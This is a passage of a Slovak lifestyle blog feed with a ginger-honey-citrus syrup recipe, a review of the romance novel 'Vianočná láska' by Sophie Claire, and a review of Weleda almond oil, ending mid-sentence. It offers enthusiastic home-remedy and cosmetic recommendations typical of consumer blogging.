gél</b> používame roky a zatiaľ vždy poslúžil k našej spokojnosti. Na prvý pohľad vyzerá ako jednoduchý produkt, no odporúčať ho môžeme všetkými desiatimi. Ide o <b>slovenský výrobok</b> firmy <b>HANUS</b> s objemom <b>50 ml</b> a cenou približne <b>3,49 €</b>.</p><p><br /></p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p><p style="text-align: right;"><i><span style="font-size: xx-small;">(sponzorovaný článok/spolupráca)</span></i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-64008830497380247222021-03-23T18:45:00.001+01:002021-03-23T18:46:44.276+01:00Zázvorovo – medový sirup s citrusmi<p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikG5eiGB7RzWNT442xuxlcxEyJpPfLrhQUsFZE5sWyYWZdBGxR5z6Ufr7bdm6c5IXmv0T5F8wTUVvTWMtJMQlOOi6aDyd4bnOVWuqDSC0zc-t2i6NuY7mluswpYz7KVrv15NZ5SIFVQA_q/s815/zazvorovo-citronovy-sirup-prechladnutie.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikG5eiGB7RzWNT442xuxlcxEyJpPfLrhQUsFZE5sWyYWZdBGxR5z6Ufr7bdm6c5IXmv0T5F8wTUVvTWMtJMQlOOi6aDyd4bnOVWuqDSC0zc-t2i6NuY7mluswpYz7KVrv15NZ5SIFVQA_q/s16000/zazvorovo-citronovy-sirup-prechladnutie.jpg" /></a></div><div style="font-weight: bold;"><b><br /></b></div><div style="text-align: justify;"><b style="font-weight: bold;">Spojenie zázvoru s medom a citrusmi</b> je pre nás jedným zo symbolov chladnejších dní a zároveň je aj <b>prevenciou vzniku</b> možných <b>prechladnutí a infekcií.</b> Preto v období od prvých chladných jesenných dní až do začiatku teplejšej fázy jari priebežne vyrábame a spotrebovávame práve tento "sirup", ktorý nielen pekne vonia, ale aj dobre chutí. Samozrejme chutí za predpokladu, že spomenuté suroviny máte radi :) ale s tým my nemáme najmenší problém. </div><p></p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Pretože, keď sa <b>ingrediencie ako zázvor, med a citrón</b> spoja, vytvoria spolu lahodný a funkčný nápoj, ktorý pomôže začať cítiť sa lepšie akonáhle cítite, že nie ste celkom OK. </span></blockquote><p></p><p style="text-align: justify;">Postup prípravy je jednoduchý na suroviny aj na čas, akurát výsledný produkt musí pár hodín až dní <b>odležať, aby sa prepojili suroviny a vytvorili tekutú sirupovú konzistenciu</b>. Množstvo závisí od vašej spotreby a podľa toho je potrebné zvoliť pomer surovín a aj pohárikov – najlepšie zo skla. A čo všetko budeme na prípravu potrebovať?</p><h3 style="text-align: justify;">Zázvorovo – medový sirup</h3><p style="text-align: justify;"><i><span style="font-size: large;"><b>med</b> (úplne najlepšie, ak bude od lokálneho výrobcu, ktorého poznáte a dôverujete jeho práci)</span></i></p><p style="text-align: justify;"><i><span style="font-size: large;"><b>zázvor</b> (známy ako ďumbier lekársky, čo je jeho botanický názov)</span></i></p><p style="text-align: justify;"><i><span style="font-size: large;"><b>citrón, pomaranč</b> (určite sa dá použiť aj limetka alebo grapefruit, vždy však trochu zmenia výslednú chuť)</span></i></p><p style="text-align: justify;">Všetko, čo potrebujete urobiť je, jednoducho do čistého pohára zo skla <b>striedavo ukladať plátky umytého zázvoru a prekladať ho plátkami čistých, chemicky neošetrených citrusov aj s kôrou.</b> Potom zaliať medom a uzavrieť. Pohár stačí<b> nechať odležať </b>aspoň 24 hodín, ale pokojne aj 3 alebo viac dní, kým vytvorí tekutú konzistenciu a bude pripravený na používanie. Môžete ho <b>užívať na lyžici</b> podobne ako sirup proti kašľu alebo si lyžicu tohto sirupu<b> pridávať ho teplého čaju</b>, nie však vriaceho.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZYC91cAX8BgsoldKrQLeGD9_qFxQeILtevksWxbUNVcoV_-EgDVZNHkO8b-i-6g_eFZOzmexElJaOJ_DcoW_Zv4CsmAOpv9bbO44RHktNVcL7MJtN7jmR8hvwm7YXo8BuWP0TJWto-WXw/s2048/zazvorovo-citronovy-sirup-postup.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZYC91cAX8BgsoldKrQLeGD9_qFxQeILtevksWxbUNVcoV_-EgDVZNHkO8b-i-6g_eFZOzmexElJaOJ_DcoW_Zv4CsmAOpv9bbO44RHktNVcL7MJtN7jmR8hvwm7YXo8BuWP0TJWto-WXw/w640-h480/zazvorovo-citronovy-sirup-postup.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1RuxWN0Dfq4tHehTA8DaL5c_xeRAvRV4ETrUYv19UCpK4abmL6tGZk7jEd8w1MYvaT7S5oovqGN3xfCAMvAJhPXeJuzez7Xv0-Mk1IuNLTL8cyyAE0jPIDwMkjvOV5k31i8BoryfFMU8D/s2048/zazvorovo-citronovy-sirup-suroviny.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1RuxWN0Dfq4tHehTA8DaL5c_xeRAvRV4ETrUYv19UCpK4abmL6tGZk7jEd8w1MYvaT7S5oovqGN3xfCAMvAJhPXeJuzez7Xv0-Mk1IuNLTL8cyyAE0jPIDwMkjvOV5k31i8BoryfFMU8D/w640-h480/zazvorovo-citronovy-sirup-suroviny.jpg" width="640" /></a></div><p style="text-align: justify;">Poslúži <b>na podporu imunity</b>, ale aj <b>pri bolesti hrdla</b> alebo iných príznakoch sprevádzajúcich prechladnutia a infekcie. Ďalšou výhodou je možnosť užívať ho ako prvú pomoc pri začínajúcich prejavoch ochorenia a veľakrát pomôže ochorenie aj úplne zvrátiť. Okrem účinnej pomoci zvládnuť príznaky respiračných ochorení či prechladnutia, má <b>zázvorovo – medová kombinácia</b> aj mnoho ďalších zdravotných benefitov. Med i zázvor aj individuálne ponúkajú viaceré nepopierateľné <b>výhody pre zdravie</b>, oba pôsobia aj ako antioxidanty, pričom ich vzájomná kombinácia ich užitočné prínosy znásobuje. Pomáhajú <b>pri tráviacich problémoch</b>, pomáhajú zvládnuť cestovateľské nevoľnosti <b>pri kinetóze</b>, tiež <b>ranné nevoľnosti</b> v počiatočnom štádiu tehotenstva, prospievajú kardio-vaskulárnemu systému, posilňujú imunitný systém, majú protizápalové účinky a fungujú tiež ako <b>prírodný liek proti bolesti.</b></p><p style="text-align: justify;"><b>Citrusy aj med</b> sú vlastne <b>prirodzené konzervanty</b>, a tak by pri dennej spotrebe sirup mal vydržať na kuchynskej linke. Ak sa obávate, že by to vo vašich podmienkach doma nevydržal bez ujmy, radšej ho uložte do chladničky. Pri príprave môžete do pohárov <b>pridať aj </b>kúsky<b> celej škorice</b>, zopár <b>klinčekov</b> <i>(hrebíčkov – klinčekovec voňavý)</i> alebo <b>badiánu</b> <i>(hviezdicový aníz)</i> a namiesto plátkov <b>zázvoru</b> ho môžete <b>nahrubo nastrúhať</b> a tak vrstviť. Okrem nášho základného receptu, určite neváhajte pri príprave možno trošku aj experimentovať a pridajte niektoré z korenín podľa svojich preferencií :) ...a dajte nám potom vedieť, čo sa osvedčilo vám.</p><p><br /></p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-6640890132043239912021-02-21T18:58:00.001+01:002022-04-26T11:38:15.385+02:00VIANOČNÁ LÁSKA (Sophie Claire)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENeKWfjbZywzNAKtXkRBJBxhBAaofascrhsaxG2TrLDm4cltDQDhE20nqtGx1cruxScxIZE2EO0-BZq2GPCV3uYUqI2MPYp1fI3hyL8yBjOONc-PaBGfs5DqraSrSFt91UkYV4tdiI3i6/s815/vianocna-laska-kniha-recenzia-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENeKWfjbZywzNAKtXkRBJBxhBAaofascrhsaxG2TrLDm4cltDQDhE20nqtGx1cruxScxIZE2EO0-BZq2GPCV3uYUqI2MPYp1fI3hyL8yBjOONc-PaBGfs5DqraSrSFt91UkYV4tdiI3i6/s16000/vianocna-laska-kniha-recenzia-1.jpg" /></a></div><p style="text-align: justify;">O dôležitosti prvého dojmu sa popísalo už mnoho psychologických článkov, no vďaka tomuto príbehu dostanete nádej, že nie vždy nevyhnutne určí váš charakter. Pretože ak by platilo, že <b>prvý dojem sa už nedá napraviť,</b> Evie a Jake by po svojom náhodnom stretnutí asi len ťažko vytvorili spoločný príbeh plný lásky a porozumenia. Dá sa povedať, že <b>niektoré zoznámenia prebiehajú za zvláštnych okolností</b>...môžete sa zoznamovať v mierne podguráženom stave, môže na vás zaútočiť veľký slintajúci pes alebo môžete zo steny vytrhnúť garnižu a zamotať sa do spadnutého závesu.</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;"><b>Evieno zoznámenie</b> sa s jej aktuálne najlepším a tajomným zákazníkom Jakeom nemohlo dopadnúť horšie. Dopadnúť myslím doslova, pretože zletieť z rebríka a poškodiť pri tom majetok zákazníka, <b>nie je najlepšou vizitkou profesionálnych služieb</b>. Čo na tom záleží, že nebola na vine. Okolnosti viedli až k tomu, že <b>Jakeov dalmatín Smoke</b>, s výrazne zvedavou povahou, vyskočil na rebrík a to ostatné už poznáte :)</span></blockquote><p></p><p style="text-align: justify;">Dej príbehu sa začína <b>na anglickom vidieku, v dedinke Willowbrook</b>, čiže o romantické scenérie v ňom nie je núdza. <i><span style="font-size: large;">„Willowbrook mal vždy rozprávkovú atmosféru, úzke uličky kamenných domov s bridlicovými strechami vracali človeka do minulosti o celé stáročia, no dnes bola atmosféra naozaj výnimočná.“ s.47</span></i> Odohráva sa <b>v čase blížiacich sa Vianoc</b> a sprevádza ho množstvo snehových príhod.</p><p style="text-align: justify;">Už po prvých stránkach zistíte, že <b>Evie je večná optimistka</b>, empatická, kreatívna a romantická duša, ktorá trpí nízkym sebavedomím. Za to predovšetkým môžu jej rodičia, ale aj bývalý snúbenec Tim, od vplyvu ktorých sa potrebovala nutne odtrhnúť, a preto sa ocitla na vidieku, kde si otvorila obchodík a dielňu s názvom <i>Gombíková dierka</i>. Aj <b>Jake má svoje dôvody</b>, pre ktoré na vidieku kúpil starý a obrovský dom <i>Old Hall</i>. Prvým a najdôležitejším je jeho osamotená poloha a potom dostatočná vzdialenosť od rodiny a bolestnej minulosti. Sarkastický, praktický a pragmatický bývalý lekár, dnes obchodník s vínom, sa snaží vyrovnať so smrťou manželky, najradšej sám iba v spoločnosti svojho psa. Jednoducho, <b>dve protikladné povahy</b>, ktoré však spája niečo spoločné. <b>Odhodlanie začať žiť od znova a podľa vlastných pravidiel.</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXvhkHuZg-0gOp49O98ELgBzSJeV64RXeMBSnLmfrtKhid9FsEimZU51Ayvj8uS-wRU803uXdlJqbSgN86_WwyB56XMpdRHMrSPXWW6YVSd8VVU_GU0Bo5YVufIdnjDqnw6M0RmmXRXbiq/s2048/vianocna-laska-sophie-claire.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXvhkHuZg-0gOp49O98ELgBzSJeV64RXeMBSnLmfrtKhid9FsEimZU51Ayvj8uS-wRU803uXdlJqbSgN86_WwyB56XMpdRHMrSPXWW6YVSd8VVU_GU0Bo5YVufIdnjDqnw6M0RmmXRXbiq/w640-h480/vianocna-laska-sophie-claire.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWaXUX0X5AWP8C365OIvhnV6x-OgJwnAb7oHpVMOYxPDg86yfH5cI_7IagqK6G7-lPsQTTvu2vcWnNGuu9hKMaYru-rOQLC8rZKV-0Z6lYLovxvgQYkUKeTgdVVXmNBDVA0QPrMTOYEjEr/s2048/vianocna-laska-kniha-recenzia-fortuna-libri.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWaXUX0X5AWP8C365OIvhnV6x-OgJwnAb7oHpVMOYxPDg86yfH5cI_7IagqK6G7-lPsQTTvu2vcWnNGuu9hKMaYru-rOQLC8rZKV-0Z6lYLovxvgQYkUKeTgdVVXmNBDVA0QPrMTOYEjEr/w640-h480/vianocna-laska-kniha-recenzia-fortuna-libri.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7JEObVMRjGSwQ8mwd9k33nqxDN-HP54yxaD7aBw1af2RHs_yE0ZF85_EmmfQer-H78okxW3Ei66zLiHvp16hPwWduWmETNtC-XuaNPCyJ6UWTGEEhLQHZurbjcMTNJqG5z9rcnJER-mzG/s2048/vianocna-laska-text.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7JEObVMRjGSwQ8mwd9k33nqxDN-HP54yxaD7aBw1af2RHs_yE0ZF85_EmmfQer-H78okxW3Ei66zLiHvp16hPwWduWmETNtC-XuaNPCyJ6UWTGEEhLQHZurbjcMTNJqG5z9rcnJER-mzG/w640-h480/vianocna-laska-text.jpg" width="640" /></a></div><br /><p style="text-align: justify;">Na pozadí viacerých okolností a udalostí <b>sa ich charaktery postupne stanú kompatibilné</b>. Evie sa stane odvážnejšia v boji za svoje šťastie a Jake zasa oveľa príjemnejším spoločníkom a priateľom. Tomu predchádza množstvo sviežich, vtipných aj vážnejších dialógov. <b>Spoločné priateľstvo</b> a nechcené nátlaky zo strán ich rodín ich privedú na celkom nečakanú myšlienku. Rozhodnú sa stráviť <b>vianočné sviatky</b> sami dvaja <b>v Provensalsku</b>. Niečo, čo na prvý pohľad vyzerá ako dovolenka spojená s pracovnou cestou, sa však plynule zmení na romantický výlet. <b>A čo ak jeden z nich začne cítiť čosi viac? </b></p><p style="text-align: justify;"><i><span style="font-size: large;">„Čosi v jeho vnútri sa pohlo. Vyzerala nádherne. Bola veselá a dobrosrdečná, rozjasňovala životy všetkým okolo seba. On bol presný opak. A predsa mu akosi nebadane prenikla do života a neustále sa vracala napriek všetkému, čo o ňom vedela.“ s.147</span></i></p><p style="text-align: justify;">V Provensalsku sa ich osudy ešte viac prepletú a skomplikujú a do cesty sa im postaví aj žiarlivosť alebo predstieraný nezáujem. Kto bude ochotný ako prvý ustúpiť z naoko nezáväznej hry a kto si prizná svoje city? <b>Keď ide o lásku, neexistujú nijaké záruky.</b> Obaja však <b>musia prekonať duchov svojich spomienok a roztiahnuť krídla. </b></p><p style="text-align: justify;"><span style="font-size: large;"><i>„Nechcel nič len cítiť. Byť s Evie bol totiž správny, dobrý pocit. Jake nebol ochotný rozmýšľať o ničom, čo ten pocit presahovalo.“ s.254</i></span></p><p style="text-align: justify;">A hoci si povedali, že to bude len nezáväzná zábava a nič viac, napriek tomu to obaja porušili. <span style="font-size: large;"><i>„Ja ťa ľúbim. Priznanie, ktoré toľko odhaľovalo a naháňalo strach. Ani zďaleka to však nevyjadrovalo ten tryskajúci cit v hrudi, plnú nálož, ktorá sa za posledné týždne a dni tak rýchlo a nebadane rozpínala, až jej celkom vyplnila srdce.“ s.273</i></span></p><br /><b>Originálny názov:</b> The Christmas Holiday<br /><b>Autor:</b> Sophie Claire<br /><b>Vydavateľstvo:</b> <a href="https://www.fortunalibri.sk/" target="_blank">Fortuna Libri</a><br /><b>Rok vydania:</b> október, 2020<br /><b>Počet strán:</b> 304<br /><b>Bežná predajná cena:</b> 14,90 €<br /><b>Žáner/doba:</b> romantická vianočná beletria zo súčasnosti<h4 style="text-align: justify;">Záverečné zhrnutie:</h4><p style="text-align: justify;"><a href="https://www.fortunalibri.sk/collections/beletria-pre-dospelych/products/vianocna-laska" target="_blank">Vianočná láska</a> je <b>dospelácka zimná rozprávka</b>, ktorá poteší nevyliečiteľných romantikov a milovníkov zasnežených príbehov. Nielen pekná grafika obálky <b>navodí pravú zimnú atmosféru</b> a prenesie vás aspoň slovom do krajiny, kde nie je o sneh núdza ani v predvianočnom čase. Paradoxne sa príbeh počas Vianoc odohráva v Provensalsku bez snehu, ale situácií, kedy ich životy ovplyvní snehová nádielka si užijete viac než dosť. Príbeh tejto dvojice <b>chytí za srdce</b>. Môžete v ňom sledovať ich pomalé zbližovanie a spoznávanie sa, ich podpichovanie a doberanie, ale aj vyliečenie svojich bolestí a opätovné nájdenie radosti zo života. Dej nie je unáhlený a pohodovo ho rozvíjajú častokrát <b>humorné dialógy</b>. Napriek ťažším témam je táto kniha príjemnou oddychovkou. Skôr ako sa do knihy začítate, len sa radšej uistite, že pri čítaní budete mať po ruke dostatok horúcej čokolády :)</p><p style="text-align: right;">✍🏻 <i>by Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-29265065377996223972021-01-31T17:30:00.128+01:002021-02-04T18:50:48.871+01:00RECENZIA: BIO mandľový olej WELEDA<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi38n8LsobjMuR0Mtu9rrTHMcEIKnZsVzHHkaobNq2adeoS_8HbVgTbQFPYEc0hFXsg8PnjAW3yGnRrLPvfOhIPxYdZlq09wZn7zkl1sv7FVjuk3KM5OYaj645gjmVFV46ErBu47V_ktwRu/s815/weleda-mandlovy-olej-bio-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi38n8LsobjMuR0Mtu9rrTHMcEIKnZsVzHHkaobNq2adeoS_8HbVgTbQFPYEc0hFXsg8PnjAW3yGnRrLPvfOhIPxYdZlq09wZn7zkl1sv7FVjuk3KM5OYaj645gjmVFV46ErBu47V_ktwRu/s16000/weleda-mandlovy-olej-bio-1.jpg" /></a></div><br /><div class="separator" style="clear: both; text-align: justify;">Jedným zo základných predpokladov, aby kozmetický produkt zaujal je jeho obal. Ešte viac to platí v prípade, ak ide o neznámu značku alebo o neznámy typ produktu. V prípade značky <b>Weleda</b> a jej <b>mandľového oleja</b> nám síce nie je neznáma ani značka a ani jej produkt, predsa však musíme ako prvé spomenúť, že jednoduchý dizajn v kombinácii s tmavým modrým sklom nás neprestáva tešiť už niekoľko rokov. Aktuálne značka predstavuje zmeny dizajnu svojich výrobkov a v tomto roku oslavuje<b> 100. narodeniny</b> :)</div><p style="text-align: justify;">Možno vás prekvapí, že síce ide podľa názvu o <b>mandľový olej</b>, jeho zloženie je obohatené aj o <b>slivkový olej a extrakt z kvetov trnky</b>. Kto pozná slivkový olej a mal možnosť ho ovoňať, ten už vie, že jeho vôňa nápadne pripomína marcipán. Preto aj <b>mandľový olej Weleda</b> nesie jemné náznaky marcipánovej arómy, nečakajte však nič výrazné a sladké. Mandle sú v tomto prípade <b>lisované za studena</b> z mandle sladkej <i>Prunus Amygdalus Dulcis (Sweet Almond) Oil</i> a preto je vôňa paradoxne menej nápadná.</p><p style="text-align: justify;"></p><blockquote><span style="font-size: large;">Vlastne <b>je to príjemná výhoda, že tento olej je doplnený o ďalšie 2 zložky</b>. Kupujete si mandľový olej a získavate s ním aj 2 suroviny, ktoré <b>podporia jeho celkový účinok</b>.</span></blockquote><p></p><h4 style="text-align: justify;">Zloženie mandľového oleja Weleda</h4><p style="text-align: justify;"><b><span style="font-size: large;">Mandľový olej</span></b> <i>Prunus Amygdalus Dulcis (Sweet Almond) Oil</i> je dobre známy širokej mase zákazníkov. Obrovskou výhodou je jeho <b>univerzálnosť</b> a multifunkčnosť. Je to jeden z olejov, ktoré využije celá rodina od najmenších členov, je vhodný <b>pre všetky typy pleti</b> (vrátane citlivej) a pomôže aj pri rôznych kožných problémoch. Charakterizuje ho vysoký podiel nenasýtených mastných kyselín a tiež redšia a rýchlo sa vstrebávajúca konzistencia. Zložením je <b>podobný zloženiu ľudskej pokožky</b> a iba veľmi nízke percento ľudí má na tento olej alergickú reakciu, preto je vhodný <b>aj pre bábätká</b>.</p><p style="text-align: justify;"><b><span style="font-size: large;">Slivkový olej</span></b> <i>(Prunus Domestica Seed Oil)</i> rovnako ako aj mandľový <b>nie je komedogénny</b>, aj keď ho už môžeme zaradiť k hustejším a výživnejším olejom do pokožky sa rýchlo vstrebáva a zanecháva ju hebkú. Je vhodný <b>najmä pre suchú a zrelú pleť</b>, má silné hydratačné účinky, zabraňuje starnutiu pokožky a tiež je <b>mimoriadne jemný k očnému okoliu</b> alebo pokožke okolo pier. Priaznivo vplýva aj na poškodenú pokožku, pretože má <b>vysoký obsah antioxidantov</b> a <b>vitamínu E</b>, ktoré chránia pred pôsobením voľných radikálov.</p><p style="text-align: justify;"><span style="font-size: large;"><b>Extrakt z kvetov trnky</b></span> <i>(Prunus Spinosa Flower Extract)</i> je vhodný na starostlivosť o <b>citlivú pleť</b>, takže skvele dopĺňa zloženie. Je známy vysokým obsahom flavonoidov - antioxidantov, ktoré chránia pleť pred voľným radikálmi a predčasným starnutím a <b>pozitívne vplývajú na kolagénové a elastínové vlákna v pokožke</b>.</p><p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9SCHZJWH54bxnXWv0XJGg568Le9y_m9chUAoF3Mm7qxncXYKJ-2xpu_JQJHbzaMhqBATKJx82i-nyAnbQrDSgVztyjW8wiXXO-kCGC4BPYIRNCK0FPOYV4aAlXi4zVIqD1U6J9kKxaCht/s2048/weleda-mandlovy-olej-inci.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9SCHZJWH54bxnXWv0XJGg568Le9y_m9chUAoF3Mm7qxncXYKJ-2xpu_JQJHbzaMhqBATKJx82i-nyAnbQrDSgVztyjW8wiXXO-kCGC4BPYIRNCK0FPOYV4aAlXi4zVIqD1U6J9kKxaCht/w640-h480/weleda-mandlovy-olej-inci.jpg" width="640" /></a></div><br /><p></p><p style="text-align: justify;">Už na začiatku sme spomenuli <b>univerzálnosť</b> tohto mandľového oleja, čo znamená, že ho môžete klasicky používať <b>na vlhkú pleť namiesto pleťového krému</b>. Medzi ďalšie možnosti patrí tiež použitie ako <b>očný krém</b>, ako <b>telové mlieko</b>, ako <b>krém na ruky</b>, ako extra <a href="https://www.benulekaren.sk/pripravky-na-odlicovanie-a-cistenie-pleti-weleda" target="_blank">jemný odličovač</a> aj na citlivé očné okolie, kvapka extra starostlivosti o suché a popraskané pery, môžete ho pridať <b>do kúpeľa</b> bábätku prakticky od narodenia, môžete ho pridať <b>do práškovej pleťovej masky</b>, vmasírovať <b>do vlhkých vlasov</b> alebo využiť <b>pri výrobe “domácej kozmetiky“</b>. V momente, keď sa rozhodnete mandľový olej <a href="https://www.benulekaren.sk/weleda " target="_blank">Weleda</a> zaradiť do svojej kozmetickej rutiny, zistíte koľko rôznych využití vás ešte napadne vyskúšať.</p><p style="text-align: justify;">My ho <b>odporúčame určite</b> <b>najmä pre suchú a citlivú pleť</b>, čo je aktuálne v chladnom počasí vlastne skoro každá pleť. Dokonca, ani ak máte nadmerne sa mastiacu pleť, tento olej by sme úplne nezatracovali. <b>Nie je komedogénny</b> – teda neupcháva kožné póry a patrí k tým ľahším, čiže ak ho správne <b>nanesiete na vyčistenú a navlhčenú pleť</b> v primeranom množstve, pomerne rýchlo sa vsiakne a zanechá pocit hebkosti. <b>Pleť krásne vyhladí, zjemní</b> a pomáha jej udržať si ochranný hydrolipidový film, ktorý <b>podporí </b>jej<b> pružnosť a elasticitu</b>. Stačí použiť pár kvapiek (niekomu postačia len 2 až 3 kvapky, suchšia pleť ocení aj väčšie množstvo) a potom ho už len rozotrieť pomalými krúživými pohybmi. Oleje vo všeobecnosti <b>pomáhajú pleti stabilizovať produkciu kožného mazu</b> a ich používaním nejde o násilné zníženie produkcie, ale výhradne o normalizáciu.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixsFbRpzSTaQQkBMiAMChZLntkQln5wAjppLwmiDzZYVw6WRjUb0dBcl3JdKSihAKf6Ek8GKDzfBHkQpqbVVKERVlv6Vzn9oesqR5wkxu5zE5CTFqJfCSiTx3CYR6mroDP-lxyddov6qMq/s2048/weleda-mandlovy-olej-bio-neparfemovany.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixsFbRpzSTaQQkBMiAMChZLntkQln5wAjppLwmiDzZYVw6WRjUb0dBcl3JdKSihAKf6Ek8GKDzfBHkQpqbVVKERVlv6Vzn9oesqR5wkxu5zE5CTFqJfCSiTx3CYR6mroDP-lxyddov6qMq/w640-h480/weleda-mandlovy-olej-bio-neparfemovany.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcd9Dc3Bol6Q3h1ziurj70mNB4XQyutTvaA1KL9f0a66VSWbEv7C1o0W-bFBOGh5oWRYqg46QPIUUga9-L05tisQ1RBv0WimudvaWNV55acz3FB7t-Oe9VIhSDqnHGw9Df4aohi05I-TVe/s2048/weleda-mandlovy-olej-bio-citliva-pokozka.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcd9Dc3Bol6Q3h1ziurj70mNB4XQyutTvaA1KL9f0a66VSWbEv7C1o0W-bFBOGh5oWRYqg46QPIUUga9-L05tisQ1RBv0WimudvaWNV55acz3FB7t-Oe9VIhSDqnHGw9Df4aohi05I-TVe/w640-h480/weleda-mandlovy-olej-bio-citliva-pokozka.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNqsZ_Lp6yLic5gjHXtPqKqSdm4svrOLT1i2MXPnNF9yQXX5JwFBb7SP7Hqayz0UJmf4I_B2CSg42n3bh6tpcCILfU8OTWPjiRA5jOS0Dc8zSW5fRgjynnbxumVIx1ODipOjjOBID-IWJ/s2048/weleda-mandlovy-olej-detail.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNqsZ_Lp6yLic5gjHXtPqKqSdm4svrOLT1i2MXPnNF9yQXX5JwFBb7SP7Hqayz0UJmf4I_B2CSg42n3bh6tpcCILfU8OTWPjiRA5jOS0Dc8zSW5fRgjynnbxumVIx1ODipOjjOBID-IWJ/w640-h480/weleda-mandlovy-olej-detail.jpg" width="640" /></a></div><br /><p style="text-align: justify;">Po intenzívnom niekoľko týždňovom používaní mandľového oleja <b>máme overené</b>, že si <b>dokáže poradiť aj s extrémnou suchosťou, ekzémom a začervenaním na pokožke</b>. Dehydrovaná a stresovaná pokožka je vďaka nemu hĺbkovo hydratovaná, dostatočne ochránená a zrýchľuje sa jej schopnosť regenerácie. S mandľovým olejom jednoducho zachránite niekoľko situácií, kedy sa vám minie konkrétny kozmetický produkt a takto podobne sme si ho obľúbili aj ako odličovač očí. Možno sa to udialo trochu z núdze, ale výsledok je uspokojivý, odličuje bez podráždenia a bez násilného “drhnutia“ pokožky očí.</p><p style="text-align: justify;">Aktuálne ešte musíme dodať, že v týchto dňoch sa mandľový olej dokonale <b>postará aj o výrazne suchú a popraskanú pokožku na rukách</b>. Neustále umývanie rúk v kombinácii s chladným počasím si vyžiadalo svoju daň a hoci toto zvyčajne býva náš bežný zimný kožný problém, v období neustále potrebnej dezinfekcie a čistoty sa ruky vysúšajú rýchlejšie a nestíha sa obnoviť ich prirodzený ochranný film na pokožke, pričom vznikajú aj hlbšie rany. Jeden z obľúbených večerných rituálov a zároveň náš záverečný osvedčený "tajný" tip :) je preto kvapnúť si <b>niekoľko kvapiek mandľového oleja do dlaní</b> a dobre rozotrieť. Rukavice sú v tomto prípade vítaným bonusom, ktorý znásobí účinok oleja. Opäť odporúčame aplikovať na čistú a navlhčenú pokožku.</p><p style="text-align: justify;"><b>Mandľový pleťový olej</b> Weleda v <b>50 ml</b> objeme zakúpite napr. v BENU lekárni – aktuálne za cca <b>14,50 €</b>. Olej má <b>vegan</b> zloženie a napĺňa štandardy <b>NATRUE</b> certifikátu. </p><p style="text-align: justify;">Máte tento olej vyskúšaný a ste spokojní? Prípadne nám dajte vedieť, ako inak ho 